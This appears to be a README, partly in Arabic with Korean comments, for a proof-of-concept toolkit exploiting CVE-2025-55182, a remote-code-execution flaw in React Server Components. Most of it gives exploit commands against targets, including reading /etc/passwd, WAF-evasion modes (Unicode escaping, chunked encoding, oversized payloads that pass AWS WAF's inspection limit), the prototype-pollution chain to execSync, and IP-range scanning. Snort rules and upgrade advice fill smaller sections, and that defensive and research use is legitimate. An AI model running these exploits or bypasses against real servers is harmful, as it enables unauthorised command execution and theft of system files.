CVE-2025-55182 POC والكشف

مجموعة أدوات لاستغلال واكتشاف ثغرة إلغاء التسلسل غير الآمن (Unsafe Deserialization) في React Server Components (RSC)

معلومات الثغرة

• CVE-ID: CVE-2025-55182
• الإصدارات المتأثرة: React 19.x, Next.js 15.x/16.x (عند استخدام App Router)
• متجه الهجوم: RCE عبر تلوث النموذج الأولي (Prototype Pollution) أثناء إلغاء تسلسل بروتوكول RSC Flight
• مستوى الخطورة: Critical (CVSS 10.0)

📦 المكونات

1. البيئة الهشة (Docker)

• docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
• vulnerable-app/ - كود Server Action الهش

2. أدوات الاستغلال

• exploit_advanced.py - يدعم تقنيات هجوم متعددة (Basic/Advanced/Chunked/Oversize)

3. ماسح الثغرات

• rsc_vulnerability_checker_multi.py - أداة تشخيص الثغرات متعددة الأهداف

4. قواعد كشف IDS

• rules_priority_based - مجموعة قواعد كشف مبنية على الأولوية في Snort

🚀 البداية السريعة

1. إعداد البيئة الهشة

cd vulnerable-app
docker-compose up -d
# http://localhost:3000 접속 확인

2. تشخيص الثغرة

# 단일 URL 테스트
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# 여러 URL 배치 스캔
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# IP 범위 스캔
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# 파일에서 읽기
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. تنفيذ الاستغلال

# 기본 공격
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# 고급 공격 (프로토타입 체인 + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# WAF 우회 - Unicode 인코딩
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# WAF 우회 - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# WAF 우회 - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# 모든 기법 순차 시도
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. اختبار الكشف على الشبكة

# 공격 트래픽 캡처
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Snort로 분석
snort -c snort.conf -r attack.pcap -A console -k none

تفاصيل تقنيات الاستغلال

وضع Basic

إرسال حمولة RSC Flight مباشرة

# Server Action 직접 호출
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

وضع Advanced

RCE باستخدام تلوث النموذج الأولي (Prototype Pollution)

// 핵심 원리
{
  "then": "$1:__proto__:then",           // Chunk.prototype.then 트리거
  "_response": {                          // fake response 주입
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Function 생성자 접근
}

سلسلة الهجوم:

1. تعيين Chunk.prototype.then عبر تلوث __proto__
2. التحكم في FormData عبر حقن كائن _response
3. قيام معالج $B باستدعاء response._formData.get(id)
4. الوصول إلى Function عبر سلسلة constructor:constructor
5. تنفيذ process.mainModule.require('child_process').execSync(cmd)

وضع Chunked

توزيع الأنماط باستخدام Transfer-Encoding

POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...

• تجاوز مطابقة أنماط WAF (تقسيم الكلمات المفتاحية)
• لا يمكن فحصه كمخزن مؤقت واحد

وضع Oversize

تجاوز حد الحجم في AWS WAF

payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: 처음 8KB만 검사
# 실제 공격 코드를 8KB 이후에 배치

📊 أولويات قواعد الكشف

قواعد P0 (SID 2000xxx) - حظر فوري

• process.mainModule.require + child_process + execSync
• __proto__ + resolved_model + وحدة RCE
• الوصول إلى /etc/passwd و /etc/shadow و .ssh/id_rsa

📋 المتطلبات

أساسي

• Docker & Docker Compose
• Python 3.8+
• مكتبة requests
  root@kitploit:~

  pip install requests
  

اختياري (لاختبار الكشف)

• Snort 2.9+
• tcpdump

🔍 استخدام ماسح الثغرات

الاستخدام الأساسي

# 단일 URL
python3 rsc_vulnerability_checker_multi.py http://target.com

# 복수 URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

الاستخدام المتقدم

# IP 범위 스캔 (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# IP 범위 스캔 (하이픈)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# 파일 입력/출력
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Verbose 모드
python3 rsc_vulnerability_checker_multi.py http://target.com -v

تنسيق الإخراج

[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - Not vulnerable
[ERROR] http://offline.com:3000 - Connection timeout

🎯 خيارات أداة الاستغلال

أوضاع الهجوم

• --basic: إرسال حمولة RSC Flight مباشرة
• --advanced: تقنية سلسلة النموذج الأولي + thenable
• --chunked: إرسال مجزأ عبر Transfer-Encoding
• --oversize <size>: حمولة Oversize (الافتراضي: 65536 بايت)
• --all: محاولة جميع التقنيات بالتتابع

تجاوز WAF

• --waf-bypass: ترميز Unicode (constructor → \u0063onstructor)
• --chunked: توزيع الأنماط
• --oversize: تجاوز حد الحجم في AWS WAF

أخرى

• -v, --verbose: إخراج تفصيلي
• -t, --timeout: مهلة الطلب (الافتراضي: 10 ثوانٍ)

🛡 الدفاع والكشف

على مستوى التطبيق

1. الترقية من React 19.0.0-rc إلى 19.0.0 (stable)
2. الترقية من Next.js 15.0.3 إلى 15.1.0+
3. تعزيز التحقق من مدخلات Server Actions
4. تعطيل الميزات experimental

على مستوى الشبكة

1. تطبيق قواعد Snort (rules_priority_based)
2. سياسات WAF:
   • حظر الكلمة المفتاحية __proto__
   • حظر نمط process.mainModule.require
   • تقييد حجم جسم طلب POST (< 1MB)
3. تحديد المعدل (تقييد طلبات Server Action)

المراقبة

# Snort 실시간 모니터링
snort -c snort.conf -i eth0 -A console

# 로그 파일 분석
snort -c snort.conf -r network.pcap -A fast

لا يُستخدم هذا المنشور إلا لأغراض البحث/التعليم/التحقق التشخيصي.